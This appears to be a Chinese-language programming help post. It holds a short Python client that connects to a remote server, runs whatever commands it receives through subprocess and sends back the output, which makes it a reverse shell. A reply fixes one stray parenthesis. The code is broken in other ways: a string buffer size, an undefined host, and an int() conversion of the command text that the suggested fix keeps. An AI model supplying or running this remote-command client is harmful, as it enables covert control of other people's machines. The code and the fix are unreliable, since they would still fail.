SERVER_PORT = 2323
BUFFER_SIZE = "1024"
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    # receive the command from the server
    command = int((s.recv(BUFFER_SIZE).decode())
    if command=="exit":
        break
    # execute the command and retrieve the results
    output = subprocess.getoutput(command)
    # send the results back to the server
    s.send(output.encode())
# close client connection
s.close()

这是接收命令并执行它的服务器客户端，但是，python 说if 41 行存在语法问题，我无法解决这个简单的问题，因为我知道是什么导致了它。 我也尝试删除它，它打印了下一行代码的语法错误。

这部分代码int((s.recv(BUFFER_SIZE).decode())使用了一个额外的括号。试试这个int(s.recv(BUFFER_SIZE).decode())代替。
